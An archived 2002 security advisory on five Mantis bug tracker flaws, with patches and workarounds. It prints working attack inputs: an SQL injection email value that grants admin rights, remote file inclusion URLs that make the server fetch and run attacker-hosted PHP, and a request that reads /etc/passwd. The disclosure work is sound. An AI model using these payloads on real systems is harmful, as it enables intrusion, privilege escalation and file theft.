Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Web :: Apps :: web5641.htm

mantis Multiple Vulnerabilities



20th Aug 2002 [SBWID-5641]
COMMAND

	
		Mantis multiple vulns: arbitrary code  execution,  sql  poisoning,  view
		private projects and reporter limitation bypass.
	
	

SYSTEMS AFFECTED

	
		 SQL poisoning 

		 =============

		 Affected: Mantis 0.17.2, maybe prior

		 Unaffected:  Mantis 0.17.3 and earlier

		

		 Limiting output to reporters can be bypassed

		 ============================================

		 Affected: Mantis 0.17.3 and older

		 Unaffected: Mantis 0.17.4 and earlier

		

		 Bug listings of private projects can be viewed

		 ==============================================

		 Affected: Mantis 0.17.3

		 Unaffected: Mantis 0.17.4 and earlier

		

		 Arbitrary code execution vulnerability 

		 =======================================

		 Affected: Mantis 0.17.3 and older

		 Unaffected: Mantis 0.17.4 and earlier

		

		 Arbitrary code execution and file reading 

		 =========================================

		 Affected: Mantis 0.17.3 and older

		 Unaffected: Mantis 0.17.4 and earlier

		
	
	

PROBLEM

	
		Here is a summary of 5 Mantis Advisories (from 2002-1 to 2002-5):
		

		Mantis is an Open Source web-based bugtracking system, written  in  PHP,
		which uses the MySQL database server. It is being actively developed  by
		a small group of developers, and is considered to be in the beta stage.
		

		

		

		

		 [2002-01] SQL poisoning vulnerability

		 ======================================

		

		

		Older versions of Mantis do not check  all  user  input,  especially  if
		they do not come directly  from  form  fields.  This  opens  up  a  wide
		variety  of   SQL   poisoning   vulnerabilities   on   systems   without
		magic_quotes_gpc  enabled.  Most  of  these  vulnerabilities  are   only
		exploitable in a limited manner, since  it  is  no  longer  possible  to
		execute multiple queries using one call to mysql_query().
		

		There is one query which can  be  tricked  into  changing  an  account's
		access level, which means that a malicious user, with an account on  the
		Mantis installation, can make himself (m/f)  an  administrator  of  that
		Mantis installation. This particular vulnerability  has  been  fixed  in
		version 0.17.3.
		

		Note: Other vulnerabilities, caused by the same lack of input  checking,
		may exist!
		

		 Detailed explanation 

		 ---------------------

		

		By modifying the username or the  email  of  a  Mantis  account,  it  is
		possible   to   change   any   column   of   the   Mantis   user   table
		(mantis_user_table by default).
		

		This can be done by inserting  quotes  in  the  username  or  email  and
		crafting the value in such a manner that a valid SQL query results.
		

		For example:
		   - The email can be set to: user@server', access_level=90, email='

		   - The normal query is:

		       UPDATE mantis_user_table

		         SET username='$f_username', email='$f_email'

		         WHERE id='$f_id'

		   - With the specified value for the email field, this becomes:

		       UPDATE mantis_user_table

		         SET username='someusername', email='user@server', access_level=90, 

		email=''
		         WHERE id='$f_id'

		   - This set the access_level column to a value of 90, the internal value 

		for Administrator.
		

		

		

		

		

		

		 [2002-02] Limiting output to reporters can be bypassed

		 ======================================================

		

		

		It is possible to instruct Mantis to show reporters only the  bugs  that
		they reported, by setting the limit_reporters option to  ON.  This  will
		automatically set the 'reporter' filter on the 'View Bugs' page.
		

		The information on the 'View Bugs' page was also  available  in  a  form
		suitable for printing, by clicking on the 'Print Reports'  link  on  the
		'View Bugs' page. However this script, print_all_bug_page.php,  did  not
		check the limit_reporters option and thus allowed reporters to  see  the
		summaries of bugs they did not report.
		

		 Detailed explanation

		 ---------------------

		

		No trickery is required to allow a reporter  to  see  the  summaries  of
		bugs that (s)he did not report. The reporter just has  to  go  to  'View
		Bugs', click on 'Print Reports' and make sure the 'reporter'  filter  is
		set to anything but his/her own name.
		

		

		

		

		

		

		 [2002-03] Bug listings of private projects can be viewed 

		 ========================================================

		

		

		In Mantis a user can select a  project  from  a  drop-down  menu.  After
		selection, all bug listings will be limited to that project.
		

		The 'View Bugs' page, which is responsible  for  displaying  a  list  of
		bugs in a project, did not check whether the user  actually  had  access
		to the project defined in the cookie. It  trusted  the  fact  that  only
		projects accessible to the user were listed in the drop-down menu.
		

		This provides a malicious user with an opportunity to display the  'View
		Bugs' page with a private project  selected.  This  has  been  fixed  in
		Mantis 0.17.4.
		

		It should be noted that this bug does not allow a user to get  any  more
		information than is listed in the View Bugs page.  The  page  with  more
		information about the bug is not  accessible.  Also,  private  bugs  are
		still not visible in the list.
		

		 Detailed explanation

		 --------------------

		

		To take advantage of this vulnerability,  the  attacker  would  need  to
		know the project_id of the private project he wishes to attack. This  is
		not terribly difficult to accomplish, as the project_id starts at 1  and
		increases by one for every project created. The attacker  can  just  try
		each integer starting at 1, until (s)he finds the  one  (s)he's  looking
		for.
		

		The next step is to log  in  to  Mantis  at  least  once,  so  that  the
		MANTIS_PROJECT_COOKIE,  or  however  the  cookie  is  called   in   that
		particular set-up, is set. The user can then manually change the  cookie
		locally, and fill in the desired project_id. Now all the user has to  do
		is visit /view_all_bug_page.php, and the list of  public  bugs  in  that
		project should be displayed.
		

		An alternative method is by  forging  the  HTTP  headers,  to  send  the
		desired cookie value with  a  request  for  /view_all_bug_page.php.  The
		results are the same.
		

		

		

		

		

		

		 [2002-04] Arbitrary code execution vulnerability 

		 ================================================

		

		

		Mantis includes code which cooperates  with  JpGraph  to  generate  some
		statistical graphs. Some of this code is  stored  in  an  include  file,
		summary_graph_functions.php.  This  file  takes  care  of  loading   the
		JpGraph library, using an include() statement.
		

		The path to the JpGraph library is stored  in  the  configuration  file.
		However, summary_graph_functions.php does  not  load  the  configuration
		file, but expects other scripts  to  have  done  that  before  including
		summary_graph_functions.php.
		

		A vulnerability opens up when summary_graph_functions.php is  opened  in
		a browser. Any malicious user can execute  arbitrary  PHP  code  as  the
		webserver user by setting $g_jpgraph_path to a local  path  or  an  URL.
		This vulnerability has been closed in Mantis 0.17.4.
		

		 Detailed explanation

		 --------------------

		

		To exploit this vulnerability, an attacker only has  to  store  the  PHP
		code (s)he wishes to execute in a textfile, make  this  available  on  a
		webserver  accessible  by  the  Mantis  installation   and   point   the
		$g_jpgraph_path variable to that location.
		

		For example, we create a file with the following content:
		

		   <?php

		     system('ls');

		     exit;

		   ?>

		

		

		We make this file available on a webserver, for example at
		

		http://server.mynetwork.net/listings.txt

		

		If the Mantis installation does not have access  to  the  internet,  the
		file should be stored on an internal server.
		

		We then point our browser to
		

		http://mantis.server.com/mantis/summary_graph_functions.php?g_jpgraph_path=http%3A%2F%2Fserver.mynetwork.net%2Flistings.txt%3F

		

		

		This will execute the following call:
		

		   include('http://server.mynetwork.net/listings.txt?jpgraph.php');

		

		

		This instructs PHP to download  listings.txt  and  parse  it  as  a  PHP
		script. In this case, the browser should print a  file  listing  of  the
		current directory.
		

		 Credit

		 ------

		

		This vulnerability was reported by Joao Gouveia (tharbad@kaotik.org).
		

		

		

		

		

		

		 [2002-5] Arbitrary code execution and file reading 

		 ===================================================

		

		

		

		Mantis allows the user to configure a file to be included at the top  or
		bottom, a file which contains the  CSS  stylesheets  and  a  file  which
		contains meta tags. These files are set in default/config_inc2.php,  and
		can be overridden in config_inc.php.
		

		For some obscure reason, config_inc2.php only initialised the  variables
		if it wasn't already  set.  This  means  that  someone  can  set  either
		$g_bottom_include_page,  $g_top_include_page,   $g_css_include_file   or
		$g_meta_include_file using GET/POST parameters, or through a cookie.
		

		Not all of these can be exploited to execute arbitrary code but  all  of
		them can be used to  read  any  file  on  the  server  readable  to  the
		webserver user.
		

		Mantis 0.17.4 removes the isset()  checks  from  default/config_inc2.php
		and checks whether any of the four variables were set  by  a  user.  The
		latter checks are added to  ensure  that  even  when  someone  has  used
		default/config_inc2.php to set configuration values, this  vulnerability
		will still be closed.
		

		Mantis  installations  which  override  all  of  the   four   previously
		mentioned variables in their config_inc.php are not affected. Note  that
		an account to the Mantis installation is not required  to  exploit  this
		vulnerability, as login_page.php and  core_html_API.php  are  vulnerable
		as well.
		

		 Detailed explanation

		 ---------------------

		

		 - Arbitrary code execution

		

		To execute arbitrary PHP code  using  this  vulnerability,  an  attacker
		only has to store the PHP code (s)he wishes to execute  in  a  textfile,
		make  this  available  on  a  webserver   accessible   by   the   Mantis
		installation    and    point    the    $g_meta_include_file    or    the
		$g_css_include_file variable to that location.
		

		For example, we create a file with the following content:
		

		   <?php

		     system('ls');

		     exit;

		   ?>

		

		

		We make this file available on a webserver, for example at
		http://server.mynetwork.net/listings.txt

		If the Mantis installation does not have access  to  the  internet,  the
		file should be stored on an internal server.
		

		We then point our browser to
		http://mantis.server.com/mantis/login_page.php?g_meta_include_file=http://server.mynetwork.net/listings.txt

		Any  Mantis   page   that   displays   something   will   do.   However,
		login_page.php does not require an account.
		

		This will execute the following call:
		

		   include('http://server.mynetwork.net/listings.txt');

		

		

		This instructs PHP to download  listings.txt  and  parse  it  as  a  PHP
		script. In this case, the browser should print a  file  listing  of  the
		current directory.
		

		 - Displaying local files

		

		It is also possible to view any file available  to  the  web  user.  The
		method is more or less the same, although in this case  we  do  not  let
		the server include a file we wrote, but just a local file we specify:
		

		

		http://mantis.server.com/mantis/login_page.php?g_css_include_file=/etc/passwd

		

		

		This  will  display  the  specified  file  if  the  webserver  user  has
		permission to read that file.
		

		This vulnerability can  be  exploited  using  any  of  the  4  variables
		$g_bottom_include_page,  $g_top_include_page,   $g_css_include_file   or
		$g_meta_include_file using GET/POST parameters, or through a cookie.
		

		 Credit

		 ------

		This vulnerability was reported by Andrew Johnson and  independently  by
		the Debian Security Team.
	
	

SOLUTION

	
		All issues are corrected in last version, 0.17.4. If for any reason  you
		can not upgrade, see below for workarounds.
		

		

		 [2002-01] SQL poisoning vulnerability 

		 =====================================

		

		Since this vulnerability was discovered,  coding  guidelines  have  been
		changed to ensure that every bit of  user  input  that  is  fed  to  SQL
		queries is either validated or  escaped.  Unfortunately,  these  changes
		came too late to be released with Mantis 0.17.3. They  have  been  fixed
		in CVS, and will be corrected in 0.18.0. Users who prefer security  over
		using a tested version are encouraged to use the CVS version. 0.18.0  is
		currently being wrapped up, but the release may take a few weeks.
		

		If an upgrade is not possible, Mantis 0.17.2 (and  possibly  lower)  can
		be patched to secure the exploitable query:
		

		   In account_update.php, insert the following lines somewhere in a PHP 

		block before the SQL queries are executed:
		

		     $f_username = addslashes($f_username);

		     $f_email = addslashes($f_email);

		

		

		

		Enabling magic_quotes_gpc in your PHP configuration  will  also  prevent
		the problem from being exploitable.
		

		

		

		

		 [2002-02] Limiting output to reporters can be bypassed

		 ======================================================

		

		If upgrade is not an option, print_all_bug_page.php can  be  patched  to
		close this vulnerability. The following  instructions  apply  to  Mantis
		0.17.3, and could apply to earlier versions:
		

		   In print_all_bug_page.php, after the block of assignments from 

		$t_setting_arr, insert the following lines:
		

		     # Limit reporters to only see their reported bugs

		     if (( ON == $g_limit_reporters ) &&

		       ( !access_level_check_greater_or_equal( UPDATER  ) )) {

		       $f_user_id = get_current_user_field( "id" );

		     }

		

		

		

		

		

		 [2002-03] Bug listings of private projects can be viewed 

		 =========================================================

		

		If an upgrade is not an option, view_all_bug_page.php can be patched  to
		add the appropriate checks.
		   To do so, add the following function to core_user_API.php:

		

		

		     # Check to see if the current user has access on the specified project

		     function check_access_to_project( $p_project_id ) {

		       $t_project_view_state = get_project_field( $p_project_id, 

		'view_state' );

		

		       # Administrators ALWAYS pass.

		       if ( get_current_user_field( 'access_level' ) >= ADMINISTRATOR ) {

		         return;

		       }

		

		       # public project accept all users

		       if ( PUBLIC == $t_project_view_state ) {

		         return;

		       } else {

		         # private projects require users to be assigned

		         $t_project_access_level = get_project_access_level( $p_project_id );

		         # -1 means not assigned, kick them out to the project selection screen

		         if ( -1 == $t_project_access_level ) {

		           print_header_redirect( 'login_select_proj_page.php' );

		         } else { # passed

		           return;

		         }

		       }

		     }

		

		

		   And in view_all_bug_page.php, replace the following lines:

		

		         $t_where_clause .= ')';

		       }

		     } else {

		       $t_where_clause = " WHERE project_id='$g_project_cookie_val'";

		     }

		     # end project selection

		

		

		   with the following lines:

		

		         $t_where_clause .= ')';

		       }

		     } else {

		       check_access_to_project($g_project_cookie_val);

		       $t_where_clause = " WHERE project_id='$g_project_cookie_val'";

		     }

		     # end project selection

		

		

		

		

		

		 [2002-04] Arbitrary code execution vulnerability 

		 ================================================

		

		If an upgrade is not  possible,  the  vulnerability  can  be  closed  by
		inserting     the     following     lines     at     the     top      of
		summary_graph_functions.php:
		

		   if ( isset($HTTP_GET_VARS['g_jpgraph_path']) ||

		     isset($HTTP_POST_VARS['g_jpgraph_path']) ||

		     isset($HTTP_COOKIE_VARS['g_jpgraph_path']) ) {

		       exit;

		   }

		

		

		

		

		

		 [2002-5] Arbitrary code execution and file reading 

		 ===================================================

		

		Mantis 0.17.4 removes the  isset()  checks,  and  some  paranoia  checks
		which prevent this vulnerability. All users are recommended  to  upgrade
		to this version as soon as possible.
		

		If an upgrade is not  possible,  the  vulnerability  can  be  closed  by
		inserting the following lines in core_API.php:
		

		   if ( isset($HTTP_GET_VARS['g_top_include_file']) ||

		     isset($HTTP_POST_VARS['g_top_include_file']) ||

		     isset($HTTP_COOKIE_VARS['g_top_include_file']) ) {

		     exit;

		   }

		

		   if ( isset($HTTP_GET_VARS['g_bottom_include_page']) ||

		     isset($HTTP_POST_VARS['g_bottom_include_page']) ||

		     isset($HTTP_COOKIE_VARS['g_bottom_include_page']) ) {

		     exit;

		   }

		

		   if ( isset($HTTP_GET_VARS['g_css_include_file']) ||

		     isset($HTTP_POST_VARS['g_css_include_file']) ||

		     isset($HTTP_COOKIE_VARS['g_css_include_file']) ) {

		     exit;

		   }

		

		   if ( isset($HTTP_GET_VARS['g_meta_include_file']) ||

		     isset($HTTP_POST_VARS['g_meta_include_file']) ||

		     isset($HTTP_COOKIE_VARS['g_meta_include_file']) ) {

		     exit;

		   }

	


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH